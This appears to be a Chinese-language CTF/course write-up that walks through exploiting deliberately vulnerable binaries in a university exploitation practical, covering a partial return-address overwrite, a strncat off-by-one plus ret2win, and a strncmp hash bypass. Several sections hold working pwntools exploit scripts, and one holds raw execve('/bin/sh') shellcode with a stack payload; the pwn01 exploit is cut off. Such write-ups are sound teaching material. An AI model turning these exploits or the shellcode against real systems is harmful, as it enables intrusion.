Sorry, your browser cannot access this site
This page requires browser support (enable) JavaScript
Learn more >

Qualification Challenge

(这个Practical Course(Praktikum)需要完成这道题才有资格报名。)

核心思路:绕过检测并利用Buffer Overflow漏洞修改函数的返回地址。

题目

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
#define _GNU_SOURCE
#include <stdio.h>
#include <string.h>
#include <time.h>
#include <math.h>
#include <unistd.h>
#include <fcntl.h>
#include <stdlib.h>
#include <ctype.h>
#include <stdbool.h>


#define FLAG_LENGTH 37
#define FLAG_LINES 29


struct Flag {
char* flagData;
};


struct Flag** flagList = NULL;
size_t numFlags = 0;


const char flagTemplate[] =
"{}\n"
"|| ,,,,\n"
"|| ,;;;;;, ,,;;;;;;;, ,,;;;;;;;;,\n"
"||.;;;;;;;;;;, ,;;; ;;;, ,;;; ;;;,,\n"
"||, ;;;, ,;;;; ;;;, ,;;;; ;\n"
"|| ;;;,,;;;; ;;;,,;;;; ;;\n"
"|| ;;\n"
"|| ;;,\n"
"|| ##################################### ;;\n"
"|| ;\n"
"|| ,,,, ;\n"
"|| ,;;;;;, ,,;;;;;;;, ,,;;;;;;;;, ;\n"
"||.;;;;;;;;;;, ,;;; ;;;, ,;;; ;;, ,;\n"
"||, ;;;, ,;;;; ;;;, ,;;;; ;;;;\n"
"|| ;;;,,;;;; ;;;,,;;;;\n"
"||\n"
"||\n"
"||\n"
"||\n"
"||\n"
"||\n"
"||\n"
"||\n"
"||\n"
"||\n"
"||\n"
"||\n"
"||\n"
"||"
;



bool is_bad_char(char c)
{
return !isalnum(c);
}

void error(const char* err)
{
printf("Error: %s\n", err);
exit(1);
}

char* build_flag(const char* data, size_t len)
{
if (len < FLAG_LENGTH) error("Not enough data to generate flag");
char* flagBuf = (char*)malloc(sizeof(flagTemplate));
if(!flagBuf) error("OOM");
memcpy(flagBuf, flagTemplate, sizeof(flagTemplate));

size_t j = 0;
for(size_t i = 0; i < sizeof(flagTemplate); ++i)
{
if(flagBuf[i] == '#')
{
if (j >= len)
error("Not enough data to generate flag");
flagBuf[i] = data[j++];
}
}
return flagBuf;
}

char get_random_char()
{
char c;

while(is_bad_char(c = rand()));

return c;
}

char* generate_flag()
{
char buf[FLAG_LENGTH];

strcpy(buf, "flag_");

for(size_t i = 5; i < FLAG_LENGTH; ++i)
buf[i] = get_random_char();

return build_flag(buf, sizeof(buf));
}

bool validate_flag(const char* flag, size_t len)
{
size_t j = 0;
size_t i;
for(i = 0; flagTemplate[i] && j < len; ++i, ++j)
{
if(!flagTemplate[i])
break;

/* Remove trailing space */
if(flagTemplate[i] == '\n')
{
for(; j < len && flag[j] != '\n'; ++j)
if(!isspace(flag[j]))
{
printf("Newline error\n");
return false;
}
}

if(flagTemplate[i] == '#')
{
if(is_bad_char(flag[j]))
{
printf("Bad char detected\n");
return false;
}
}
else if(flagTemplate[i] != flag[j])
{
printf("Mismatch at (%zu,%zu) = ('%c', '%c')\n", i, j, flagTemplate[i], flag[j]);
return false;
}
}

if(flagTemplate[i])
{
printf("Did not reach end of flagTemplate, %zu, '%c'\n", i, flagTemplate[i]);
return false;
}

return true;
}


void parse_flag(char* dest, const char* flag, size_t len)
{
size_t j = 0;
for(size_t i = 0; i < len; ++i)
{
if(!is_bad_char(flag[i]))
{
dest[j++] = flag[i];
}
}
}


int get_choice()
{
printf("> ");
char buf[0x10] = {0};
if(!fgets(buf, sizeof(buf), stdin))
error("read failed\n");
return atoi(buf);
}


void add_flag_to_list(struct Flag* flag)
{
flagList = (struct Flag**)realloc(flagList, ++numFlags * sizeof(struct Flag*));
if(!flagList) error("Realloc failed!\n");
flagList[numFlags-1] = flag;
}

bool remove_flag_from_list(size_t idx)
{
if(idx >= numFlags)
{
puts("Flag does not exist!");
return false;
}

struct Flag* flag = flagList[idx];

free(flag->flagData);
free(flag);

memmove(&flagList[idx], &flagList[idx+1], (--numFlags - idx) * sizeof(struct Flag*));

flagList = (struct Flag**)realloc(flagList, numFlags * sizeof(struct Flag*));

return true;
}


char* read_flag()
{
size_t bufSize = sizeof(flagTemplate) * 2;
size_t bufContent = 0;
char* buf = (char*)malloc(bufSize);

size_t numLines = 0;

while(numLines < FLAG_LINES)
{
int n = read(STDIN_FILENO, buf + bufContent, bufSize - 1 - bufContent);
if(n <= 0) error("read failed!\n");


for(int i = 0; i < n; ++i)
if(buf[bufContent+i] == '\n')
numLines++;

bufContent += n;

if(bufSize - 1 - bufContent < 0x10)
{
buf = (char*)realloc(buf, bufSize *= 2);
if(!buf) error("OOM");
}
}

buf[bufContent] = 0;

return buf;
}

void add_flag()
{
char buf[FLAG_LENGTH+1];
int choice;
char* flagstr;
size_t flaglen;
struct Flag* flag = (struct Flag*)malloc(sizeof(struct Flag));

puts(" 1. Build flag");
puts(" 2. Generate flag");
puts(" 3. Parse flag");

choice = get_choice();


switch(choice)
{
case 1:
if(!fgets(buf, sizeof(buf), stdin))
error("Read failed");

flag->flagData = build_flag(buf, strlen(buf));
break;

case 2:
flag->flagData = generate_flag();
break;

case 3:
{
flagstr = read_flag();
flaglen = strlen(flagstr);

if(!validate_flag(flagstr, flaglen))
{
puts("Invalid flag!");
free(flagstr);
free(flag);
flag = NULL;
break;
}

parse_flag(buf, flagstr, flaglen);
flag->flagData = build_flag(buf, FLAG_LENGTH);
free(flagstr);
break;
}

default:
free(flag);
flag = NULL;
puts("Invalid choice");
}

if(flag != NULL)
{
add_flag_to_list(flag);
puts("Flag added!");
}
}


void burn_flag()
{
puts("Which flag do you wanna burn?");

size_t idx = get_choice();

printf("Searching for flag");
for(int i = 0; i < 3; ++i)
{
printf(".");
usleep(1000*1000);
}
puts("");

if(remove_flag_from_list(idx))
{
printf("Preparing to burn");
for(int i = 0; i < 3; ++i)
{
printf(".");
usleep(1000*1000);
}
puts("");
puts("Fwoosh! The flames snapped and crackled as the flag went up in a fiery whoosh!”...");
}
}


void show_flag()
{
for(size_t i = 0; i < numFlags; ++i)
{
printf("Flag %zu:\n", i);
printf("%s\n", flagList[i]->flagData);
}
}


void init(void)
{
int fd;
unsigned int rand_val;
// setting stdout and stdin to be unbuffered
setvbuf(stdout,0,_IONBF,0);
setvbuf(stdin,0,_IONBF,0);
// seeding the random number generator
fd = open("/dev/urandom", O_RDONLY);
read(fd, &rand_val, sizeof(rand_val));
close(fd);
srand(rand_val);
}




void menu()
{
puts("-------------");
puts(" 1. Add flag");
puts(" 2. Burn flag");
puts(" 3. Show flags");
puts(" 4. Quit");
puts("-------------");
}


/* The only true flag */
void win()
{
execve("/bin/get_flag", NULL, NULL);
}



int main()
{
init();

puts("Welcome to our Flag-Storage-as-a-Service (FSaaS)!");

int choice;

bool running = true;

while(running)
{
menu();
choice = get_choice();
switch(choice)
{
case 1:
add_flag();
break;

case 2:
burn_flag();
break;

case 3:
show_flag();
break;

case 4:
puts("Bye!");
running = false;
break;

default:
puts("Invalid choice!");
menu();
}
}
return 0;
}

(说实话我真没想到一个qualification的题的源代码能这么长。)

代码审计

1

首先检测一下有哪些保护措施:

1
2
3
4
5
6
7
8
9
└─$ checksec ./vuln

Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
Debuginfo: Yes

可以看到什么保护措施也没有。尤其是这里没有的No PIE,说明所有函数的地址都是固定的。

首先注意到,在add_flag()函数里有这么一段:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
case 3:
{
flagstr = read_flag();
flaglen = strlen(flagstr);

if(!validate_flag(flagstr, flaglen))
{
puts("Invalid flag!");
free(flagstr);
free(flag);
flag = NULL;
break;
}

parse_flag(buf, flagstr, flaglen);
flag->flagData = build_flag(buf, FLAG_LENGTH);
free(flagstr);
break;
}

通过阅读parse_flag()read_flag()函数的代码可以发现没有进行任何长度上的限制。

只是在parse_flag()函数里:

1
2
3
4
5
6
7
8
9
10
11
void parse_flag(char* dest, const char* flag, size_t len)
{
size_t j = 0;
for(size_t i = 0; i < len; ++i)
{
if(!is_bad_char(flag[i]))
{
dest[j++] = flag[i];
}
}
}
1
2
3
4
bool is_bad_char(char c)
{
return !isalnum(c);
}

会检查内容是否为字母或数字,并且只会将字母和数字写入进buf里。(并不能写入任意内容。)

这意味着我们可以将任意长度的字母数字写入buf里。这是典型的Buffer Overflow的漏洞。

所以我们现在的目标很明确:通过Buffer Overflow的漏洞将返回地址修改成win()函数的地址。

2

查看validate_flag()的逻辑:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
bool validate_flag(const char* flag, size_t len)
{
size_t j = 0;
size_t i;
for(i = 0; flagTemplate[i] && j < len; ++i, ++j)
{
if(!flagTemplate[i])
break;

/* Remove trailing space */
if(flagTemplate[i] == '\n')
{
for(; j < len && flag[j] != '\n'; ++j)
if(!isspace(flag[j]))
{
printf("Newline error\n");
return false;
}
}

if(flagTemplate[i] == '#')
{
if(is_bad_char(flag[j]))
{
printf("Bad char detected\n");
return false;
}
}
else if(flagTemplate[i] != flag[j])
{
printf("Mismatch at (%zu,%zu) = ('%c', '%c')\n", i, j, flagTemplate[i], flag[j]);
return false;
}
}

if(flagTemplate[i])
{
printf("Did not reach end of flagTemplate, %zu, '%c'\n", i, flagTemplate[i]);
return false;
}

return true;
}

发现它只检查了我们发送的内容的前面部分是否和template的一致,也就是说我们可以在后面添加任意长度的内容。

利用IDA查看一下add_flag()函数的Stack结构会发现:

image-20250817001329695

大小为0x58,即如果想要修改返回地址,则需要覆盖掉0x58(=5*16+8 = 88)字节的内容。
(注意,这个88可以理解为编译器总共预留的空间,所以不直接等于代码里的38。)

因为这个页面不会显示返回地址的具体值,所以我们需要想办法确认。

首先打开Disassembly页面:

image-20250817105328089

然后用Alt+t搜索add_flag

image-20250817105506877

可以看到这里调用了add_flag,找过去看看。双击call那里会跳转到这个页面:

image-20250817105923715

然后选择text view:

image-20250817105954355

image-20250817110017771

可以发现add_flag()Stack里的返回地址原本应该是0x0000000000401AB8

同时查看win()函数的地址:

image-20250817000936709

1
win			0000000000401A74	

非常巧合的是这两个地址只有最后一个字节是不同的,且0x74对应的刚好是字母t,也就是说可以绕过parse_flag()的检测。

所以我们只需要修改这个最低字节即可。

Exploit

首先将题目里的template复制过来,并将里面的#改成合法的字母,比如说A。然后在结尾加上用于覆盖buf以及返回地址最低位字节(0x74,即字母t。)的内容。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
from pwn import *

HOST, PORT = "",

template = (
b"{}\n"
b"|| ,,,,\n"
b"|| ,;;;;;, ,,;;;;;;;, ,,;;;;;;;;,\n"
b"||.;;;;;;;;;;, ,;;; ;;;, ,;;; ;;;,,\n"
b"||, ;;;, ,;;;; ;;;, ,;;;; ;\n"
b"|| ;;;,,;;;; ;;;,,;;;; ;;\n"
b"|| ;;\n"
b"|| ;;,\n"
b"|| AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA ;;\n"
b"|| ;\n"
b"|| ,,,, ;\n"
b"|| ,;;;;;, ,,;;;;;;;, ,,;;;;;;;;, ;\n"
b"||.;;;;;;;;;;, ,;;; ;;;, ,;;; ;;, ,;\n"
b"||, ;;;, ,;;;; ;;;, ,;;;; ;;;;\n"
b"|| ;;;,,;;;; ;;;,,;;;;\n"
b"||\n"
b"||\n"
b"||\n"
b"||\n"
b"||\n"
b"||\n"
b"||\n"
b"||\n"
b"||\n"
b"||\n"
b"||\n"
b"||\n"
b"||\n"
b"||"
)


def exploit():

tail = 88-37
tail = b"A"*tail + b"t"
payload = template + tail + b"\n"

r = remote(HOST, PORT)
r.recvuntil(b"> "); r.sendline(b"1")
r.recvuntil(b"> "); r.sendline(b"3")
r.send(payload)

print(r.recvall())

if __name__ == "__main__":
exploit()

# [+] Opening connection to courses.sec.in.tum.de on port 34291: Done
# [+] Receiving all data: Done (50B)
# [*] Closed connection to courses.sec.in.tum.de port 34291
# b'Flag added!\nflag_9d6150ae29087e182c0261554522ff67\n'

总结

这道题与我目前所熟悉的Buffer Overflow的题不太一样,我们并不能直接任意地修改返回地址,而是只能修改返回地址的最低位字节,因为需要绕过它的检测机制。算是设计得非常巧妙。

GDB

其中有些步骤的信息可以利用gdb更快地查找。

1
2
3
4
5
6
7
8
9
10
11
12
13
gdb -q ./vuln

(gdb) b add_flag #在add_flag的函数入口下断点
(gdb) run

(gdb) p/x *(void**) $rsp #原始返回地址
$1 = 0x401ab8

(gdb) p/d $rsp - (long)&buf #偏移(即给buf预留的总存储空间)
$2 = 88

p/x &win #win函数的地址
$3 = 0x401a74

环境/提交

Dockerfile

保存这个Dockerfile:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
FROM debian:trixie

# Add libc6-dbg at the end to install debug symbols for libc
RUN apt update -y && apt upgrade -y && apt install -y build-essential wget cmake # libc6-dbg


############### INSTALL FNETD
RUN wget https://cloud.sec.in.tum.de/index.php/s/65BwEo2zgLFGa65/download/fnetd.tar.xz -O /fnetd.tar.xz
RUN tar -xf fnetd.tar.xz
RUN mkdir /fnetd/build

WORKDIR /fnetd/build
RUN cmake .. -G "Unix Makefiles"
RUN make

WORKDIR /
############### END INSTALL

## Add your own dummy get_flag here
#COPY get_flag /bin/get_flag

## Uncomment to use course libc.
#COPY libc-2.41.so /lib/x86_64-linux-gnu/libc-2.41-bx.so
#RUN ln -sf /lib/x86_64-linux-gnu/libc-2.41-bx.so /lib/x86_64-linux-gnu/libc.so.6

RUN useradd -m pwn

COPY vuln /home/pwn/vuln

RUN chmod 0755 /home/pwn/vuln

EXPOSE 1337

# Feel free to replace password with the actual chall pw
ENV FNETD_PASSWORD=fnetd_password
CMD ["/fnetd/build/fnetd", "-p", "1337", "-u", "pwn", "-lt", "2", "-lm", "536870912", "./vuln"]

然后运行:

1
2
3
4
sudo docker build -t test .

sudo docker images | grep test

1
2
3
4
5
sudo docker rm -f fnet-box 2>/dev/null
sudo docker run -d --name fnet-box \
--cap-add=SYS_PTRACE \
--security-opt seccomp=unconfined \
-p 1337:1337 test
1
sudo docker exec -it fnet-box bash

test为Docker名。

连接时的密码就是:

1
fnetd_password
1
2
3
4
ps -u pwn -o pid,cmd --forest

# 假设 PID=123
gdb -q -p 123

具体的本地测试示例看下面pwn02的”本地测试“部分。

提交前测试

模板:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
#!/usr/bin/env python3
from pwn import *

r = remote('', , fam=socket.AF_INET)

# exract flag from the output
def flag(output):
if b"flag_" in output:
flag_begin = output.find(b"flag_")
flag_end = output.find(b"\n", flag_begin)
flag = output[flag_begin:flag_end].decode('utf-8')
print(flag)
else:
print('Fail')
1
2
3
4
5
chmod +x exp.py

arbiter run hacky1 13700 -- ./exp.py

arbiter test hacky1 13700 -- ./exp.py

test一般会返回这样的结果:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
team20x@praksrv:~/pwn/pwn00> arbiter test hacky1 13700 -- ./exp.py
round 0, 0/0 runs returned flag
(95.0% interval) 0.00 <= bits bruteforced <= 2.28
round 1, 1/1 runs returned flag
(95.0% interval) 0.00 <= bits bruteforced <= 1.55
round 2, 2/2 runs returned flag
(99.0% interval) 0.00 <= bits bruteforced <= 1.68
round 3, 3/3 runs returned flag
(99.0% interval) 0.00 <= bits bruteforced <= 1.41
round 4, 4/4 runs returned flag
(99.0% interval) 0.00 <= bits bruteforced <= 1.22
round 5, 5/5 runs returned flag
(99.0% interval) 0.00 <= bits bruteforced <= 1.07
round 6, 6/6 runs returned flag
(99.0% interval) 0.00 <= bits bruteforced <= 0.96
round 7, 7/7 runs returned flag
(99.0% interval) 0.00 <= bits bruteforced <= 0.87
round 8, 8/8 runs returned flag
(99.0% interval) 0.00 <= bits bruteforced <= 0.80
round 9, 9/9 runs returned flag
(99.0% interval) 0.00 <= bits bruteforced <= 0.73
round 10, 10/10 runs returned flag
(99.0% interval) 0.00 <= bits bruteforced <= 0.68
round 11, 11/11 runs returned flag
(99.0% interval) 0.00 <= bits bruteforced <= 0.63
round 12, 12/12 runs returned flag
(99.0% interval) 0.00 <= bits bruteforced <= 0.59
round 13, 13/13 runs returned flag
(99.0% interval) 0.00 <= bits bruteforced <= 0.56
round 14, 14/14 runs returned flag
(99.0% interval) 0.00 <= bits bruteforced <= 0.53
round 15, 15/15 runs returned flag
(99.0% interval) 0.00 <= bits bruteforced <= 0.50
round 16, 16/16 runs returned flag
(99.0% interval) 0.00 <= bits bruteforced <= 0.48
round 17, 17/17 runs returned flag
(99.0% interval) 0.00 <= bits bruteforced <= 0.45
round 18, 18/18 runs returned flag
(99.0% interval) 0.00 <= bits bruteforced <= 0.43
round 19, 19/19 runs returned flag
(99.0% interval) 0.00 <= bits bruteforced <= 0.41
round 20, 20/20 runs returned flag
21 flags in 21 attempts
Bit bruteforced (99.0% confidence): 0.20 ± 0.20

提交

1
2
3
cp exp.py pwn00_submit

tar czf pwn00_submit.tar.gz pwn00_submit

Pwn00

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <openssl/sha.h>

unsigned char const good_hash[SHA256_DIGEST_LENGTH] = {
0x2e, 0x3d, 0x60, 0xbf, 0xed, 0x7a, 0x65, 0x01,
0x21, 0xe1, 0xd7, 0x15, 0x3a, 0x21, 0x75, 0xc4,
0xa8, 0x33, 0x7f, 0x01, 0x93, 0x47, 0xc5, 0x2d,
0x20, 0xdc, 0x9a, 0x8c, 0xb5, 0x09, 0xe7, 0xa3,
};
char const salt[] = {
0x64, 0x75, 0x63, 0x6b,
0x64, 0x75, 0x63, 0x6b,
0x64, 0x75, 0x63, 0x6b,
0x64, 0x75, 0x63, 0x6b
};
unsigned char hash[SHA256_DIGEST_LENGTH];

void win()
{
execl("/bin/get_flag", "get_flag", NULL);
exit(1);
}

int main()
{
char salted[sizeof(salt) + 40] = {0};
char buf[0x40];
long uid = 1; /* user */

printf("\x1b[36mEnter password: \x1b[33m"); fflush(stdout);
fgets(buf, sizeof(buf), stdin);

memcpy(salted, salt, sizeof(salt));
strncat(salted + sizeof(salt), buf, sizeof(salted) - sizeof(salt));

SHA256((unsigned char *) salted, sizeof(salt) + strlen(buf), hash);

if (!memcmp(hash, good_hash, sizeof(good_hash)))
uid = 0; /* root */

sleep(1);

if (uid) {
printf("\x1b[31mNope.\x1b[0m\n");
exit(1);
}

printf("\x1b[32mHey root!\x1b[0m\n");

printf("\x1b[36m> \x1b[33m"); fflush(stdout);
gets(buf);
printf("\x1b[0m");
return 0;
}

image-20251018205917246

1
2
3
4
5
6
7
8
9
└─$ checksec vuln
[*] '/home/archer/ctf-kali/praktikum_binary_exploitation/pwn00/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
Stripped: No
Debuginfo: Yes

这道题分为2个部分:

在第一部分里我们需要利用one-byte overflow来绕过root的检测。而第二部分则是普通的利用Buffer Overflow将返回地址修改为后门函数直接获取flag。

一阶段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
char salted[sizeof(salt) + 40] = {0};
char buf[0x40];
long uid = 1; /* user */

printf("\x1b[36mEnter password: \x1b[33m"); fflush(stdout);
fgets(buf, sizeof(buf), stdin);

memcpy(salted, salt, sizeof(salt));
strncat(salted + sizeof(salt), buf, sizeof(salted) - sizeof(salt));

SHA256((unsigned char *) salted, sizeof(salt) + strlen(buf), hash);

if (!memcmp(hash, good_hash, sizeof(good_hash)))
uid = 0; /* root */

sleep(1);

if (uid) {
printf("\x1b[31mNope.\x1b[0m\n");
exit(1);
}

printf("\x1b[32mHey root!\x1b[0m\n");

这段乍一看会觉得很正常,因为使用的是fgets,并且参数设置的和buf的大小一样。

但是我们来看一下strncat这个函数:

1
char *strncat(char *dest, const char *src, size_t n);

至多 n来自 src 的字符追加到以 \0 结尾的字符串 dest 后面,随后再写入一个结尾的 \0。返回 dest

因为会在结尾加上\0,所以这个结果所需的实际空间为:

1
strlen(dest) + min(n, strlen(src)) + 1

也就是说这里的

1
strncat(salted + sizeof(salt), buf, sizeof(salted) - sizeof(salt));

的实际所需空间为sizeof(salt)+40+1=sizeof(salt)+41字节。

salted 是个数组名,在表达式里会衰减(decay)成指向其首元素的指针(char *)。
sizeof(salt) 是一个整数(这里是 16),salted + sizeof(salt) 的含义是:把这个指针向后移动 16 个 char元素的位置。因为char的大小是 1 字节,所以这就是把指针向后偏移 16 个字节,正好指到saltedsalt之后的第一个字节。)

但是由于实际上只给salted分配了40字节的空间,所以会导致溢出,并将buf的第一位修改为\0

在 C 里,字符串长度(strlen)是靠从首地址开始一直数,直到遇到第一个 '\0'(NUL 字节)为止来定义的。也就是说如果第一位是\0的话,计数会直接结束,从而导致strlen(buf)=0

这样一来,这里:

1
SHA256((unsigned char *) salted, sizeof(salt) + strlen(buf), hash);

实际上计算的就只是salt的哈希值。并且由于good_hash 恰好就是 SHA256(salt),所以说我们可以得到uid=0。(memcmp 相等时返回 0,所以判断里是!memcmp。)

然后我们便进入到了下一阶段:

二阶段

1
2
3
4
printf("\x1b[36m> \x1b[33m"); fflush(stdout);
gets(buf);
printf("\x1b[0m");
return 0;

可以看到很经典的漏洞函数gets。所以我们可以利用Buffer Overflow来将返回地址修改为win函数的地址。在main函数运行结束之后就会自动运行win函数。

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
from pwn import *

# found this address by using IDA
win_addr = p64(0x00000000004011D6)

r = remote('hacky1', 13700)

r.sendafter (b"Password:", b"Password\n")

# first step is to apply the one-byte overflow to pass the root_test
r.sendafter(b'Enter password: ', b'A'*40 + b'\n')


# use IDA to determine the stack structure and define the payload(retern address offset)
# change the original return_adress to the win function
payload = b'A'*(0x88) + win_addr + b'\n'

r.sendafter(b'> ', payload)


r.interactive()

Pwn01

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
#define _POSIX_C_SOURCE 1
#include <stdlib.h>
#include <stdio.h>
#include <string.h>
#include <unistd.h>
#include <openssl/sha.h>

unsigned char const good_hash[SHA256_DIGEST_LENGTH] = {
0x2a, 0x00, 0x72, 0xd7, 0x6a, 0xd1, 0x94, 0x4f,
0xfc, 0x1c, 0x94, 0x6a, 0xc6, 0x44, 0xea, 0xb7,
0x6f, 0x20, 0x29, 0x2c, 0xbe, 0xf3, 0x3c, 0x43,
0x29, 0x4d, 0x0b, 0xf7, 0xf8, 0x72, 0xef, 0x07,
};

int main()
{
char buf[0x30] = { 0 };
unsigned char *hbuf = malloc(0x30);
unsigned char *hash = malloc(SHA256_DIGEST_LENGTH);

printf("\x1b[36mEnter username: \x1b[33m"); fflush(stdout);

SHA256(hbuf, read(fileno(stdin), hbuf, 0x30), hash);

sleep(1);

if(strncmp((char *) hash, (char *) good_hash, sizeof(good_hash))) {
printf("\x1b[31mNope.\x1b[0m\n");
free(hash);
free(hbuf);
exit(1);
}

free(hash);
memcpy(buf, hbuf, sizeof(buf));
free(hbuf);

printf("\x1b[32mHey %s\x1b[0m\n", buf);
printf("Today's magic is \x1b[37m%p\x1b[33m.\n", buf);

printf("\x1b[36m> \x1b[33m"); fflush(stdout);
read(fileno(stdin), buf, 0x50);
printf("\x1b[0m");
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
└─$ checksec vuln
[*] '/home/archer/ctf-kali/praktikum_binary_exploitation/pwn01/vuln'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX unknown - GNU_STACK missing
PIE: No PIE (0x400000)
Stack: Executable
RWX: Has RWX segments
Stripped: No
Debuginfo: Yes

和第一题(Pwn00)一样,这道题也分2个部分。第一部分我们需要绕过哈希的检测,第二部分需要注入Shellcode并运行它去。

一阶段

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
unsigned char const good_hash[SHA256_DIGEST_LENGTH] = {
0x2a, 0x00, 0x72, 0xd7, 0x6a, 0xd1, 0x94, 0x4f,
0xfc, 0x1c, 0x94, 0x6a, 0xc6, 0x44, 0xea, 0xb7,
0x6f, 0x20, 0x29, 0x2c, 0xbe, 0xf3, 0x3c, 0x43,
0x29, 0x4d, 0x0b, 0xf7, 0xf8, 0x72, 0xef, 0x07,
};

char buf[0x30] = { 0 };
unsigned char *hbuf = malloc(0x30);
unsigned char *hash = malloc(SHA256_DIGEST_LENGTH);

printf("\x1b[36mEnter username: \x1b[33m"); fflush(stdout);

SHA256(hbuf, read(fileno(stdin), hbuf, 0x30), hash);

sleep(1);

if(strncmp((char *) hash, (char *) good_hash, sizeof(good_hash))) {
printf("\x1b[31mNope.\x1b[0m\n");
free(hash);
free(hbuf);
exit(1);
}

我们来看一下strncmp函数:

1
int strncmp(const char *s1, const char *s2, size_t n);

在最多比较 n 个字符的前提下,按字典序比较以 '\0' 结尾的 C 字符串:

  • 逐字节比较 s1[i]s2[i](按 unsigned char 比较)。
  • 一旦遇到任一方为 '\0' 或者 已经比较了 n 个字符,就停止。
  • 返回值含义:
    • < 0s1 在第一个不同位置的字符 小于 s2
    • = 0 :在停止位置前都相等(可能是比较了 n 个、也可能提早遇到 '\0');
    • > 0s1 在第一个不同位置的字符 大于 s2

特例:n == 0直接返回 0(认为相等)。

注意到题目里:

1
2
3
4
5
6
unsigned char const good_hash[SHA256_DIGEST_LENGTH] = {
0x2a, 0x00, 0x72, 0xd7, 0x6a, 0xd1, 0x94, 0x4f,
0xfc, 0x1c, 0x94, 0x6a, 0xc6, 0x44, 0xea, 0xb7,
0x6f, 0x20, 0x29, 0x2c, 0xbe, 0xf3, 0x3c, 0x43,
0x29, 0x4d, 0x0b, 0xf7, 0xf8, 0x72, 0xef, 0x07,
};

good_hash的第二个字节就是0x00。所以说我们只需要找到一个字符串使得它的哈希值的前两个字节等于 0x2a, 0x00即可:

1
2
3
4
5
6
7
8
9
10
11
12
# find an appropriate name to pass the hash comparison test
def find_hash():
i = 0
while True:
s = f"{i}".encode()
h = hashlib.sha256(s).digest()
if h[0] == 0x2a and h[1] == 0x00:
return s
i += 1


name = find_hash()

二阶段

1
2
3
4
5
6
printf("Today's magic is \x1b[37m%p\x1b[33m.\n", buf);

printf("\x1b[36m> \x1b[33m"); fflush(stdout);
read(fileno(stdin), buf, 0x50);
printf("\x1b[0m");
return 0;

绕过了前面的检测之后,我们会得到buf%p, buf)的地址。所以我们接下来需要做的就只是将一段shellcode写进buf里,然后将返回地址修改成buf的地址。由于stack的可执行的,所以它会直接跳转跑去执行我们的shellcode,也就是运行system('/bin/sh)

1
2
3
4
5
sc = b"\x6a\x3b\x58\x99\x52\x48\xbb\x2f\x2f\x62\x69\x6e\x2f\x73\x68\x53\x54\x5f\x52\x57\x54\x5e\x0f\x05"

# write shellcode in buf and replace the orginial return address to the buf address.
# since the stack is excutable, it will execute system('/bin/sh)
payload = sc.ljust(0x48, b"A") + p64(buf_addr)

sc.ljust(0x48, b"A")会将sc填充至0x48位,空余的部分用A进行填充。为了将返回地址对齐。

(但不清楚为什么Pwntools里的shellcraft.sh()不适配这道题。)

Exploit

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
#!/usr/bin/env python3
from pwn import *
import re,hashlib

# exract flag from the output
